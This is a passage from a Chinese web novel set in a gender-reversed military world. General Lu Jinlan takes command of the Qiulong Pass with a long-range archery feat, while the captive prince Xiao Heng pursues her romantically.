陆锦澜说到这儿忽然住了口,一个从未有过的想法涌上心头。 宋婧骁忙问:“你想到了什么?” 陆锦澜不可置信道:“皇上不会是在提前布局吧?如果我们的怀疑是对的,战争的真相一旦被戳破,那些烈士家属都会把账算在定北侯头上。如果是这样,那当皇上彻底清算凌家的时候,那些人会毫不犹豫的站在皇上那边。” 闻霁大为震惊,“陆将军,你是怎么想到这一层的?不愧是状元之才。老妇我也算见多识广,可我从未见到哪个年轻将领能看透皇上的手笔,老妇佩服。” 陆锦澜忙道:“军师言重了。” 宋婧骁得意道:“所以我说,后生可畏。澜儿,你能想到这些,我就放心了。我总怕你年少气盛,不知上意,容易冒犯天威。可你都没见过皇上,却能懂圣上的深意,我便可以放下担忧了。” 陆锦澜皱眉道:“我能猜到她的意图,可我还是不理解她的做法。这么说来,她早就料到凌家军会节节败退。” “这场战争,是皇上和定北侯之间的斗法。可那些因此牺牲的数以万计的将士们算什么呢?政治博弈的牺牲品吗?” 宋婧骁压了压手腕,“低声些,这种话在我和军师面前说说也就算了,不要跟外人提起半句。” 闻霁也劝道:“我们虽然远在边关,对京城的变化同样洞若观火。自从太尉凌之冲离奇病故,皇上和定北侯之间的争斗几乎摆到了明面上。” “通敌是大罪,定北侯这么做是破釜沉舟,皇上自然也要压上重注。定北侯想要皇上先示弱,重新倚重凌家。皇上却想要借此消耗凌家军,将局面彻底改写。这么大的动作,不可能没有人牺牲的。” “陆将军,你不必悲愤。从皇上这道圣旨来看,她想要通过你的介入,来遏制局势,你眼下最要紧的是为自己打算。” 陆锦澜叹了口气,“是啊,皇上要想利用我这颗棋子。我若不想想办法,我就是下一个牺牲品。” 宋婧骁分析道:“凌家军一败再败,已经被姜国军队入侵北境一百二十余里。囚龙关是北州城外最后一道屏障,圣上大约已经瞧出来,她们下一战恐怕要退守囚龙关。再下一战,就要退守北州城。” “如果败况持续下去,一旦北州城失守,城内数十万百姓可就遭殃了。站在全局来看,是应该有人去坚守囚龙关。如果是别人,我会让她去试试。可如果是你,我绝不会让你去。” “圣旨上的措辞很微妙,‘可提调’而不是‘立刻提调’,皇上也没要求你立即去驻守囚龙关,她大概能猜到我是不愿你去的。既然是可去可不去,那就不去。有我在,任何人都别想让你去枉送性命。” 陆锦澜一愣,“那北州的百姓怎么办?” “再说吧,凌家军不是还没退守北州城吗?等等再说。” * 陆锦澜暂时抛开烦乱的心绪,和项如蓁、晏无辛等人简单的吃了顿庆功饭,喝了点庆功酒。 她回到帐中,见萧衡正端了一盆水,坐在那儿给她洗衣服。 陆锦澜:“你做什么?” “洗衣服啊!”萧衡道:“洗衣板和皂荚是洗衣的蔡大叔给我的,他还教了我怎么洗衣服。我刚给你洗了寝衣,虽然是我这辈子第一次洗,但你看,我洗得多干净!” 他献宝似的举起手中的衣衫,兴冲冲地展示给陆锦澜看。 陆锦澜看他扑腾得身上地上,到处都是水,不由舔了舔唇,笑问:“你是来当俘虏的,还是来当洗衣工的?” 萧衡不服道:“不是你说我只会胡搅蛮缠吗?你说你那几个夫郎个个都好,有的聪明贤惠,有的温柔体贴,还有的纯情可人。我搞不懂,这有什么难的?我也可以温柔体贴纯情可人啊。你看我这样,不贤惠吗?” 陆锦澜无言以对,默默拿本书到榻上去看。 不一会儿,晏无辛过来串门。一进门便踩到水上,“哎呦”一声,惊道:“我的老天奶啊,你这儿闹水灾了?” 陆锦澜笑道:“有人说要洗衣服,也不知道到底是洗衣服还是玩水和泥。” 萧衡脸一红,“洗衣服怎么可能没水?人家都是这样洗的,洒出些水是正常的。你们女人又不洗衣服,怎么知道洗衣服有多难?” 晏无辛干笑两声,去跟陆锦澜咬耳朵。 她悄声道:“你看他把你这儿弄得乱七八糟的,我把他带走,你岂不是省心了?” 陆锦澜看了她一眼,“你问他吧,我无所谓。” 晏无辛一喜,笑呵呵的绕过地上的‘河流小溪’,蹲到萧衡身旁,关怀备至地问:“小郎主,洗衣服累不累啊?” 萧衡警惕地看了她一眼,“不累,劳晏将军关心。” 晏无辛笑道:“你看你在这儿还得洗衣服,不如到我帐里去,我保你什么都不用干。” 萧衡瞥了陆锦澜一眼,“不用,我贤惠,我喜欢洗衣服。” “是吗?”晏无辛有些诧异,随即灵活道:“那也行,我那儿也有很多脏衣服,够你洗上几天的,跟我走吧?” 萧衡连连摇头,“我不去。” “为什么?我跟你说,你到我那儿,我可以保护你。不然你一个男儿家,在军营多危险啊。” 萧衡还是摇头,“陆将军会保护我的,我在这里没什么危险。反倒是你,让我觉得挺危险的。” 陆锦澜一直侧耳偷听,此刻忍不住噗嗤一笑。 “你……”晏无辛咬了咬牙,对萧衡道:“洗吧洗吧,累死你算了,我就不该心疼你,哼。” 晏无辛翻着白眼气乎乎地走了,萧衡回头一看,陆锦澜将书盖在头上,笑得发抖。 他暗暗勾起嘴角,得意道:“能让你开心,也算是我的本事,对吧?” 陆锦澜笑而不语,她觉 得他有个事做挺好,至少不缠着她了,不闹人。 她操练队伍回来,发现萧衡不仅把一大盆衣服洗完了,还把帐篷里里外外都打扫了一遍。 他将她的盔甲擦得锃亮,笑着向她邀功,“看!我擦的。” 晚上,陆锦澜没再要求他去榻上睡,他很自觉的在床上靠边躺下,很老实,终于不再多话。 当然,也有可能是他把自己折腾得太累了,躺下就睡着了。 * 信已经射到了赤州城,陆锦澜估摸着再过三五天,曲国就会来赎人了。 只是二人同吃同住,渐渐熟悉。不知道是萧衡太会装贤惠体贴,还是陆锦澜终于看顺了眼,彼此相处起来越发融洽。 这日陆锦澜正在带兵操练,孔鸾过来禀报,“将军,今日是探营日。我家夫郎带了些酒菜前来探营,特意给您备了一份。” 陆锦澜笑了笑,“你们妻夫俩客气了,将东西送到我帐中,你去陪他吧。一会儿我得了空,再去见他。” 孔鸾笑着应了,便带着十三将东西送过去。 碰巧萧衡在帐中,十三是个心无城府的直肠子,萧衡憋了这些天,难得遇见个同龄的兄弟,两人一见面就打开了话匣子。 从“你这个手是怎么伤的”到“你怎么和陆将军住在一起”,二人聊了一会儿,恨不得把自己祖宗十八代都交待了。 孔鸾听了一会儿,两人的话题越来越私密,她干脆到帐外去,好让男人们随意畅聊。 没一会儿,二人的话题已经从自身的经历,到如何洗衣做饭铺床。 说到床,十三不由得语带暧昧,“真羡慕你,陆将军可以把你养在她的帐里。不像我,自从打了仗,我十天半个月才能见我家妻主一次。弟弟你啊,不懂得独守空房的苦。” 萧衡叹了口气,“我怎么不懂?我现在也等于独守空房,她根本就不碰我。” 十三惊道:“那怎么可能呢?陆将军和我七哥在一起的时候,她简直就是个色魔。” 萧衡沮丧地垂下眼眸,“可能我怎么努力,也比不上你七哥,比不上她任意一个男人,她对我没兴趣。” 十三想了想,“她对你没兴趣,你可以主动啊。京城人人都知道陆锦澜喜欢主动的男人,你没听说吗?” 萧衡尴尬道:“我……我怎么主动啊?她武功那么高,我又拧不过她。” 十三“啧”了一声,“你怎么比我还笨?这种事情,又不是打擂台,跟武功高低有什么关系?你得勾引她,刺激她,把她先伺候舒服了,那还不是水到渠成的事儿吗?” 萧衡听得一愣一愣的,“怎……怎么伺候?我天天都给她洗衣服、打扫房间,我帮她更衣穿鞋,我能想到的都做了,还能伺候她什么?” 十三无语道:“我说的不是这个伺候,是在床上伺候。” “床上?可在床上她都离得我远远的,她说她不喜欢我。” “你傻啊?你花花心思让她喜欢你啊。我家妻主一开始见到我的时候,也是冷酷无情。她说什么她不想成亲,不想拖累我,总之找了一堆理由拒绝我。” 萧衡忙问:“那然后呢?” “然后我就哭,我抱着她不撒手,我是我非她不嫁。她看我哭得可怜,就心软了。” 萧衡若有所思的点了点头,“我不爱哭,我不知道我能不能哭出来。哭完了之后呢,我该怎么伺候?” 十三脸上发烫,“哎呀,这种事,你让我怎么说?无非是费一些……口舌工夫。” 萧衡愣愣地看着她,懵懂地摇了摇头。 十三噗嗤一笑,“你想啊,咱们男人一旦有了身孕身体不方便的时候,自然就得想别的法子伺候妻主。你没成婚,自然不知道,成了婚,就无师自通了。” 萧衡诚恳道:“我现在拜你为师,你现在就告诉我吧。” 十三犹豫了一下,“附耳过来,我悄悄告诉你。” 陆锦澜掀开帘子进来时,两人正聊得面红耳赤,见她进来立刻住了口,心虚地别过脸去。 陆锦澜笑了笑,“你们聊你们的,别管我。” 萧衡连连摇头,十三忙跪下行礼,“陆将军,十三终于又见到亲人了。” 陆锦澜忙道:“你有孕在身,快起来。孔鸾说你今日还特意给我带了些吃食,你养胎要紧,下次不要这么操劳了。” 陆锦澜说着从柜子里取了些人参、燕窝,“这些是从家里带来的补品,我用不上,你拿回去好好补补身子。” 十三道了谢,又看了看萧衡,“那我不打扰你们了,我先去陪陪我家妻主,走时再来告别。” 陆锦澜见十三满脸都是笑意,不由好奇,“你们聊什么了?” “没什么啊,十三哥就是教了我一些东西。” 十三哥?陆锦澜不禁皱了皱眉,“他大字都不识一个,他能教你什么?” 萧衡呵呵一笑,“很多东西,不需要识字。他就是教我怎么洗衣服比较快,怎么做饭比较好吃,还有一些为夫之道什么的……” 最后几个字,他说得很小声,陆锦澜也没注意听。 当晚,两人照旧上床睡觉。 陆锦澜刚闭上眼睛,忽然听到萧衡在哭。 黑暗中,陆锦澜诧异地问:“你怎么了?”—— 作者有话说:日六成功,把昨天的字数补上啦!庆祝收藏终于突破三千,感谢有你~我良心发现,决定以后设置一个固定的更新时间,免得大家苦等。大家都什么时候看?早午晚,何时比较好呢? 第80章 萧衡吸了吸鼻子,努力挤出两滴眼泪,“我今天和十三哥聊完,突然觉得我其实命挺苦的。” 陆锦澜眉头一皱,“十三从小是个孤儿,娘不疼爹不爱的。他被师傅打着长大,末了还被剁了一截手指。这也就过了半年好日子,你跟他聊完,是怎么得出自己命苦的结论的?难道你一个曲国小郎主,比他还苦?” 萧衡被噎了回去,忙道:“他跟我说,那都是以前的事儿,他现在过得很好。孔大人很疼他,他还有了身孕。哪像我,沦落为俘虏……” 陆锦澜不耐烦地翻了个身,“那不是你自己要来的吗?早就跟你说吃了苦你别后悔,现在后悔了吧?别难受了,过几天你皇姐就派人接你回去了。” 萧衡越听越来气,什么风流才女?简直是不解风情。她到底是真不明白,还是装的? 萧衡在黑暗中瞪了她好几眼,气道:“我没后悔,我现在也不想回去。” 陆锦澜嘟囔道:“不是你自己说的吗?你命苦……” “我命苦是因为你。”萧衡赌着气,把心一横,干脆靠过去,自背后死死抱住陆锦澜的腰。 高耸的鼻梁蹭了蹭她的后颈,可怜道:“你抱抱我,我就不觉得苦了。” 陆锦澜叹了口气,迟疑片刻,拍了拍环在她腰上的手臂,“你松开。” “不松,除非你说你讨厌我。” “我讨厌你。” 萧衡深吸一口气,“你骗人,我不信。” 陆锦澜轻笑出声,“好吧,我是不讨厌你。可人和人之间的缘分很奇妙,你不能强求。” 萧衡一愣,“强求会怎样?” “强求,我们可能连朋友都做不成。” 萧衡沉默片刻,忽道:“谁要和你做朋友?你爱我也好,恨我也好,就是不能像现在这样,当我是不相干的人。” 他猛地压在她身上,两人鼻尖对着鼻尖,黑暗中深深地对望着。 他深吸一口气,眼眸湿润,嗓音沙哑,“我听人说,如果你不确定是否喜欢一个人,就试试靠很近的时候,会不会想亲吻。” 萧衡又靠近了一些,温热的唇几乎贴在她的嘴角,“我确定我喜欢你,我想亲你。你呢?你的心,真的对我毫无感觉吗?” 陆锦澜呼吸乱了一霎,她看着他的眼睛,心绪复杂,“我不碰你,是为你好。” 萧衡不管,他只是问她:“你想亲我吗?” 两人气息交缠在一起,逐渐上升的体温隔着单薄的寝衣透过来,一时分不清谁更热。陆锦澜下意识地吞咽了一下,目光在他的唇上流连,却仍竭力保持着理智。 她告诉他,“我和你的家族站在对立面,随时有可能成为你的大仇人。趁现在还来得及,你不要走进可以预见的悲剧里。” 萧衡不顾,依旧固执地问:“你想亲我吗?” 陆锦澜舔了舔唇,“你要知道,就算我要了你,我也不会因为你而对曲国人心软。” 萧衡眼 眶泛红,“我知道。所以,你想亲唔……” 柔软的唇强势地堵住他未说完的话,舌尖叩开齿关,用力一吮,陌生的触感让男人大脑顿时一片空白。 他生涩地学着她的样子热情地回应着,很快便渐渐得趣,沉迷其中。 寝衣很快被甩在地上,湿热地喘息越发急促,帐内一片旖旎。 帐外忽然传来一声:“启禀将军,于大人深夜到访,大帅请您去帅帐密谈。” 陆锦澜深吸一口气,高声道:“好,我这就过去。” 她揉了揉伏在胸口的脑袋,“起来,帮我更衣。” 萧衡牙都要咬烂了,眉头拧成一把锁,怨气冲天地下床去取她的衣服和鞋。 陆锦澜走后,他裹着披风站在帐门外,看着帅帐的方向咬牙切齿。 十三教了他三步,卖惨、伺候、水到渠成。 他好不容易完成了一步半,关键时刻竟然被活生生打断了。 孔鸾巡逻路过,见他在那儿傻站着,好心劝道:“夜风这么凉,回帐内等将军吧。” 萧衡问她:“刚刚来的于大人,是北州牧于继芳吗?” 孔鸾:“应该是吧,你问这个干什么?” “我恨她。” 萧衡摔帘子回了帐内,孔鸾挠了挠头,很是不解:“于大人挺好的啊,恨她做什么?” * 陆锦澜进了帅帐,才发现很多将领都到了,项如蓁和晏无辛也在。 陆锦澜拱了拱手,“母帅。” 宋婧骁点头道:“人都到齐了,于大人说说你这边的情况吧。” 陆锦澜坐在项晏二人中间,听于继芳道:“两个时辰前,我得到消息,北州城外的凌家军已经败守囚龙关。败报大约明早才能传出来,可一个时辰前,凌家军主将凌信已经派人进入北州城,为退守北州做准备了。” 于继芳说到这里,颇为痛心道:“宋大帅,诸位将军,囚龙关一旦失守,北州危矣,北州城数十万百姓危矣。凌家军是指不上了,我深夜到此,恳请诸位想想办法,救救北州!我替北州百姓,给诸位叩头了。” “于大人,万万使不得!”宋婧骁忙命人将她扶起来。 于继芳如今是二品大员,为民请命如此卑微,在场的人无不动容。 宋婧骁万般不忍,却也为难道:“于大人,我们宋家军和凌家军的关系水火不容,你是知道的。我虽为靖边大元帅,却只能掌管手上这三十万大军。” “凌家军不敢打姜国军队,却未必不敢打我们。如果我强行带兵介入,名不正言不顺,一旦凌家军悍然发起兵变,我军被两面夹击,后果不堪设想。” “我手里这支军队,是圣上制衡凌家军的指望,也是边境五州百姓的指望。一旦宋家军出了事,姜国、曲国、叛军将长驱直入,嬅国一半疆土都有沦丧之危,到时候不仅北州百姓遭殃,半个国家的百姓都将陷入水深火热。” 于继芳仰面长叹,满眼凄楚,老泪纵横打湿了鬓边新生的白发,“那眼下岂不成了死局?难道让我看着北州城沦为一片焦土吗?” 她沉吟片刻,擦了把眼泪,眼中一片决绝,“也罢!到头来不过是城破人死,我与北州共存亡。当我今天没来过,告辞了。” “等一下!”陆锦澜挺身而出,拦住于继芳,“于大人稍等,我有办法,或可一试。” 宋婧骁皱眉道:“澜儿!” 陆锦澜恳求道:“母帅,您就让我试试吧,让我去接管囚龙关。” 宋婧骁愁眉紧锁,“可这是一个死局!” 陆锦澜忙道:“那就让我来打破这个死局。” “我身为镇北将军,理应镇守北境。于大人一介文官,尚有与北州共存亡的决心,何况我等武将?我有皇上的圣旨,我有提调囚龙关的权力,没有人比我更合适。” 宋婧骁连连摇头,“可囚龙关内忧外患,外有几十万姜国大军兵临城下,内有摇摆不定的凌家军。到时候站在你身边的人,都有可能伺机取你性命。谁是忠臣?谁是叛将?你如何分辨?” 陆锦澜道:“随我杀敌者,便是忠,我定当收为已用。反我杀我者,便是叛,我必杀之。” 宋婧骁眉头紧锁,项如蓁忙起身道:“大帅,末将愿随陆将军前往囚龙关。” 晏无辛忙道:“末将也愿意!大帅,我们会站在一起,不会让贼人有可乘之机。” 话音未落,又有三五名将领站了出来,齐声道:“末将愿随陆将军前往囚龙关。” 宋婧骁无奈地叹了口气,“既然你执意要去,我拨五万人马给你带回去。” 陆锦澜喜道:“不用这么多人,孩儿这几天已经研究过囚龙关的地形地势。关内地方不大,带五万人过去,加上原有的驻军,地方会很逼仄,所需粮草也翻倍,还显得我怕凌家军似的。母帅只需给我三千精兵,再准我挑选一些人随我同去便可。” 宋婧骁只好点了点头,“岳蝉,你点齐三千精兵,与陆将军同去。” “是。”岳蝉立刻领命,出去点兵。 陆锦澜叫上项如蓁、晏无辛,加上刚刚站出来的几位将领,又点名孙乐闻、楚易舒、吴琼梦等熟悉可靠的同窗,一同前往。 于继芳千恩万谢,这才离开。 为避免迟者生变,三更时分,军队便起锅做饭。陆锦澜命众人打点行装,天亮之前务必赶到囚龙关。 趁着造饭的工夫,陆锦澜又叫来孔鸾和左隋之。她开门见山道:“咱们都是旧相识,此去囚龙关生死难料,少不得血战几场。我想问问,你们愿不愿意和我同去?” 二人忙道:“我等愿随将军前往。” 陆锦澜笑了笑,“还是再想想吧,尤其是你。” 她看向孔鸾,“十三身怀有孕,你若有个好歹,他怕是要埋怨我。” 孔鸾笑道:“夫道人家没有见识,他若有微言,我必定好好管教他。再说,他未必希望我留下。我若不去,他怕是以为我贪生怕死,怪我为何不随将军前去。我们这些当兵的,在哪儿打仗不是脑袋系在腰上?您就让我去吧。” 陆锦澜点头,“好,那你回去收拾东西吧。” 孔鸾一走,她便对左隋之道:“我一直认为凭你的本事,当年应该入选学院,可惜命运阴差阳错。没能与你做同窗,是我的遗憾。” “如今咱们又有机会并肩作战,我封你为千妇长,以后你与乐闻她们平起平坐。我希望你能明白,你从来不比天子门生差,过去没有,现在也没有。” 左隋之眼中泪光闪动,她竭力克制着翻涌的情绪,哽咽道:“多谢将军!有将军这句话,末将肝脑涂地粉身碎骨,也无怨无悔。” 陆锦澜拍了拍她的肩膀,“去吧。” 不一会儿,项如蓁和晏无辛收拾好行装找到陆锦澜。晏无辛问道:“咱们这就要走了,你那个小郎主怎么办?” 陆锦澜垂下眼眸,随即坚定道:“曲国人会把他接回去的,不必管他,咱们准备出发。” * 萧衡合衣躺在床上等陆锦澜回来,不知不觉睡着了。 一觉醒来,身上多了条毯子,他隐隐感觉到有些不对劲,一抬头,陆锦澜的盔甲和常穿的衣服都不见了。 萧衡心头一紧,立刻跑出帐外,问眼熟的卫兵:“陆将军呢?” “陆将军去镇守囚龙关了。” “囚龙关?”萧衡喃喃自语,“不行,我要去找她!” 卫兵忙拦住他,“陆将军吩咐了,让你老实在营里等着。赤州城已经回信,三日后便有人接你回去。” “我不回去,项将军呢?我要见项将军!” “项将军晏将军都随陆将军去往囚龙关了,连孔大人都去了,你老老实实在这儿待着吧。” 萧衡气闷地回到帐中,依稀听见外面的卫兵在交谈。 “哎我听说,囚龙关这个地方不吉利。” “怎么说?” “你想,连龙都被囚住了,何况是人?那地方是名将墓英雌冢,陆将军这一去,很危险啊!” 萧衡听见这话瞬间冲了出去,“我要见大帅!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 陆锦澜带着一众将士和三千精兵开往囚龙关,左隋之作为侦察前锋,匆忙来报。 “启禀将军,大批凌家军正在撤出囚龙 关,前往北州城。” 晏无辛惊道:“这么快?凌家军也太着急了吧?好歹装模作样在囚龙关打几仗再跑,刚退守囚龙关就立刻撤出来,当是歇脚呢?” 项如蓁也叹道:“咱们紧赶慢赶,就怕出变故,没想到这群人动作如此迅速。” 陆锦澜皱了皱眉,沉声道:“凌家军现在至少还有三十七八万,囚龙关招不下,撤出的未必是城内原有的五万驻军。” 她问左隋之:“她们队伍与队伍之间,联系紧密吗?” 左隋之忙道:“不怎么紧密,有的相隔二三里,有的相隔四五里,不同部将率领的队伍很少会连在一起。” 陆锦澜眼底露出一丝笑意,“那她们动作还是慢了,咱们还有便宜可捡。走,先悄悄绕过去看看。” 囚龙关两边是陡峭的山峰,易守难攻。正所谓一妇当关,万妇莫开。 如果不是凌家军蓄意败退,死守个把月不成问题。 陆锦澜带着几位将领下马,爬到了一侧的小山,看着凌家军浩浩荡荡地往北州城内撤。 左隋之指着一辆四驾马车道:“那是凌家军现任最高主将前将军凌信的车驾,将军要不要下去拦住她?” “不不不!咱拦她干嘛?”陆锦澜笑道:“她官阶比我高,手里还有近四十万大军。而我只有三千兵马,何苦去触那个霉头?” “她要撤军让她撤,咱拦不住。不过她身为主将应该是押后的,她后面也就还有个小几万兵马。咱们放过这条大鱼,吃点儿后面的小虾米。” * 凌家军正在后撤,陆锦澜瞅准时机,带着她的三千兵马就从空档中插了进去。 前军相隔几里,仍旧毫不知情的往前走,却不知后军已经被拦下了。 陆锦澜手持圣旨,高声道:“圣旨到!” 后方将领被吓了一跳,愣了一下,纷纷下马接旨。 陆锦澜把圣上敕封她镇北将军的圣旨当众念了一遍,而后道:“圣上命我为镇北将军,提调囚龙关。诸位为何不战而退?速速退回关内。” 几位将领面面相觑,心说:她是不是有病啊?宋家军的儿主怎么管起我们凌家军了?宋婧骁也不敢跑到这儿来指挥我们啊。 其中一人道:“启禀将军,圣旨上说要您提调囚龙关的五万兵马。我等并非囚龙关守军,我们这三万兵马奉前将军凌信的命令,要撤到北州城,请陆将军见谅。” 陆锦澜道:“废话!我难道不知你们要撤往北州城吗?只是守关要紧,我已派人向前将军借兵,你们先随我回关内驻守。” 借兵?几人颇为怀疑,一时也不知她是真借还是假借。但料想她一个三品镇北将军,应该不至于信口开河。 但是,凌信应该不会借吧? 几人匆忙交换了数个怀疑的眼神,又有一人站出来,“陆将军不知,姜国昨日再度增兵,敌军多达四十五万。统军将领是姜国大将军,一代名将索红珠。我等就算留在囚龙关,也无济于事,不如您也随我们一起后撤北州城吧。” 陆锦澜脸色一沉,“你当本将军和你们一样贪生怕死吗?” 有一人不服道:“陆将军,你要守囚龙关那是你的事,但休想要我等陪葬。别怪末将直言,那索红珠百战百胜,戎马半生从无败绩。武艺高超,骑射俱佳,一箭能射到六十丈外。” “陆将军你初出茅庐,就算有过刺杀萧承英的壮举,也实属侥幸。凭你,如何抵抗索红珠?” 话音未落,晏无辛便怒斥道:“你是何人?竟然对陆将军出言不逊,不怕军法处置吗?” 那人不屑,“末将从四品折冲将军杨凝,生来耿直,忍不住说了几句实话。若陆将军要因此罚我,那就请吧。” 晏无辛刚要上前,陆锦澜摆手道:“爱说实话好,本将军也爱说实话。你们既然遇到我,那就听我说几句。” 陆锦澜催马上前,高声道:“你们四十万大军,节节溃败,我之前一直想不通是什么原因。今日一见,便想明白了。归根到底一个字,怂!” “听说人家姜国增兵,调头就跑。如今我也带来了数万增兵,你们还跑什么?” “听说索红珠亲自挂帅,便吓得屁滚尿流。可你们别忘了,索红珠再骁勇善战,她也六十多岁了。你们正当壮年,怕一个六十多岁的老妇,不怕天下人笑掉大牙吗?” “怕死为何要来当兵?种地的都比你们有血性!” “杨凝将军刚刚说什么?说我初出茅庐,于数十万大军中刺杀曲国皇储萧承英乃是侥幸?可笑!你们也给我侥幸一个,让我看看。” “圣上既命我来镇守囚龙关,自然信我有守关的本事。索红珠能一箭射到六十丈外,难道我不能吗?” 杨凝冷笑两声,“陆将军,您要是能一箭射到六十丈外,末将二话不说,立刻随您血战囚龙关,至死方休。但我只怕您射不到六十丈外,这么的吧,您射到五十丈外,我等就随您入关,如何?” 寻常将领一般能射中百米外的把子,也就是三十丈外。力气大的将领,能射到四十丈。五十丈,大约一百六十米,非常人能做到。 陆锦澜勾了勾嘴角,“五十丈有什么意思?” 她抬了抬下巴,让众人回头看。 “从此地到城关上那杆凌字将旗,有六十丈吧?” 杨凝老实道:“超出六十丈了,至少得有六十五丈。难道陆将军想在这儿,射中城关上的将旗?这绝不可能。” 陆锦澜冷笑一声,取下背上的弓箭。 项如蓁忙催马过来,低声道:“你有把握吗?要不让我来射?” 陆锦澜看了她一眼,“你有把握?” “没有,我没试过这么远,不过我射中过五十丈外。能不能射中六十丈外,要看运气。” 陆锦澜轻笑一声,“那还是我来吧,我一定比你运气好。” 近日陆锦澜每晚睡前都在系统里修习内力,明显感觉到自己的力量在与日俱增。再加上她服用了初为人母大礼包里的永久大力丸,更是如虎添翼。 系统修习的好处是没有瓶颈、没有歧途、没有停滞期,而是逐步上升,永无止境。 陆锦澜自信能做到,便提着弓箭对众人道:“我若不中,立刻给众位让路,绝不阻拦你等逃命。我若射中,也请众位信守承诺,即刻入关。” 凌家军几位将领互相看了看,都道:“索红珠之所以天下闻名,是因为她能常人所不能。便是索红珠本人,也是壮士暮年,如今射不到六十丈了。何况此处距城关有六十五六丈,她必不能射中。” 大家达成一致,都道:“请陆将军开弓。” 只见陆锦澜搭弓引箭,将弓弦绷紧,她目光坚定看向城关正中那杆将旗,如猎鹰般锁定目标。 嗖一声,箭矢稳稳插入木质的旗杆。 陆锦澜身后的三千精兵顿时发出雷鸣般的呼喝:“好!好!好!” 陆锦澜嘴角一勾,咬紧牙关连发三箭。 嗖嗖嗖三声箭响,几乎在同一位置穿杆而过。 旗杆嘎巴一声拦腰折断,凌字将旗随之跌下成楼。 这下连凌家军的兵勇都看傻了眼,也跟着鼓掌叫好。 陆锦澜收起弓箭,看向那几位将领。 杨凝转身上马,调头回关。 其余几位迟疑观望,陆锦澜皱了皱眉,“看 什么看?给我滚回去守关。” 几人连忙上马,吩咐属下部队回到囚龙关内。 陆锦澜趾高气昂的带着三千精兵入关,进去第一件事,便是命人接管囚龙关的所有出入口。 三千精兵,只留了一千在身边,其余两千压在南北两个城门。 南门守将孔鸾,北门守将左隋之。 陆锦澜给她们下了死命令,“没有我或者项晏二位将军的允许,任何人不得出入。” 她命人宣读了圣旨,接管了关内五万驻军,再加上硬被她逼回来的三万多兵马,和她自己带过来的三千精兵,共有八万余人。 晏无辛笑道:“真是过瘾!你这几箭射得惊动天地,可惜咱们把人都在关内,否则真该让她们传出去。她索红珠射出六十丈,便名动天下。你陆锦澜射出六十五丈,理应天下皆知。” 陆锦澜笑了笑,“那都是虚名,只要在这件事在关内这八万人中传开,便可以暂时稳住军心。” 项如蓁道:“一会儿我去校场操练,再给她们露几手。她们虽然是凌家军,可不想打仗的凌之静。下面的士兵,未必不想打。只要咱们让她们看到赢的希望,哪怕打一场小小的胜仗,她们也会拥护你为新的主将。” 晏无辛点头道:“那个杨凝虽然说话不中听,但是说话算话。我一会去找她聊聊,能拉过来一个是一个。” 其她几位将领也道:“好在陆将军是关内最大的将军,她们联系不上北州城内的前将军,便成了没头苍蝇,不敢硬和咱们对着干。今晚我们几人到营房内,与士兵们同住,以防她们私下搞小动作,也可以借此拉近些距离。” 陆锦澜连连点头,“那就辛苦诸位将军了。” 囚龙关上,那杆射断的旗杆被拔出,换上了陆字将旗。 其余凌字将旗也很快被撤下,换上了项、晏等几位新任主将的将旗。 傍晚时分,晏无辛来找陆锦澜。 “好消息!杨凝说每次凌家军和姜国军队短兵相接,稍有小败,便立刻撤军。其实她也不理解,她也不愿意打败仗。我听她那口气,愿意跟着咱们干。不过,她问了我两件事,我不知道该怎么回答。” 陆锦澜笑问:“什么事?” “她问我,你跟凌信借兵,凌信怎么说?同意了没有?可你根本没借啊,让我怎么回答她?” 陆锦澜笑了笑,“谁说我没借?我借了,不过前将军事忙,没理会,算默许吧。” 晏无辛诧异,“你什么时候借的?” “刚刚。”陆锦澜说着给她演示了一下,她朝着后窗道了一声:“前将军,借我三万兵马如何?” 外面空无一人,自然无人应声。 陆锦澜:“你看,她没拒绝,就约等于同意了。下回再有人问,你就说前将军没拒绝。” 晏无辛笑了半天,“好吧,那杨凝还问我,你说你带了几万增兵,她问那几万增兵什么时候到?” 陆锦澜想了想,“你就说增兵是要出奇制胜的,关键时刻自然会到。现在不到,是怕提前暴露。” 晏无辛拱了拱手,“我算服了,都说兵者诡道,我看谁也诈不过你。” 正说着项如蓁从外面回来,“凌信派人来催问这三万人怎么没过去,让孔鸾给以关内清查细作为由给搪塞回去了,压根没放进来。” 陆锦澜笑道:“好,就这么办。能拖一天是一天,索红珠这两日就会来叩关。等打完了仗,我自有新的理由扣下这批兵马。” 项如蓁又道:“不过,我还是放了两个人进来。人家大老远来找你,你见见吧。” 陆锦澜一愣,“谁啊?” 第82章 陆锦澜探头望去,项如蓁侧过身,军师闻霁从门外进来。 陆锦澜微微一笑,闻霁道:“将军见到我,似乎有些失望。” “怎会?军师多心了。” “大帅不放心,派我过来辅佐将军。” 陆锦澜点了点头,大家商讨了下城关布防,晚饭时分方散。 陆锦澜回到房内,一双手臂自身后抱住她,温热的身体贴了上来。 陆锦澜眼底闪过一丝几不可察的笑意,回手关紧了房门。 萧衡看着她,神情颇为紧张,“得到大帅允准我才来的,我只在你的房里,不会影响你打仗的。” 陆锦澜叹了口气,“不是让你好好在帐里待着吗?” 萧衡握住她的手,黯然垂下眼眸,“我不放心你。” “大战在即,我派人送你回去。” “我不回。”萧衡固执道:“要么你和我一起回去,要么我在这儿陪你。” 陆锦澜无奈一笑,“我是主将,不可能离开这里。” “那就别让我回去。”萧衡抱住她,浓密的睫毛贴在她脖子上,蹭得她发痒。 “我很担心你,要不我们走吧。丢下这里的一切,什么都不要管了。我不做我的小郎主,你也不做你的大将军。我宁愿跟着你去种田打猎,过穷人的日子。” 陆锦澜用温热的指腹摩挲着他的耳朵,“只要战争不结束,穷人也没有太平日子。” “可是,这里太危险了。我听她们说,囚龙关不吉利,是英雌墓将军冢,连飞龙都在这里坠落。” 陆锦澜淡然一笑,“这里自古以来就是兵家必争之地,自然死过很多人,但是你不用怕。” “囚龙囚龙,我非龙,此地怎能囚我?” “龙亦非我,能困住它的,未必能困住我。” 陆锦澜亲了亲他的嘴角,“不要胡思乱想。” 萧衡没有再说什么,他知道他劝不了她,只能尽可能的照顾好她的衣食起居,祈祷战争早日结束。 第二日,姜国大将军索红珠亲率大军兵临城下。 来敌叫阵,陆锦澜只带了几位亲信将领和八百精兵出关迎敌。 萧衡戴着面具,在关上眺望,敌军密密麻麻,一眼望不到头,看得他心惊胆战。 陆锦澜端坐马上,却并不慌张。她明白,此战谁也不看好她。 败了,是大家预料之中。侥幸胜了,便是凌家军开战以来的首胜。她可凭此收服人心,站稳脚跟。怎么算,这买卖都不亏。 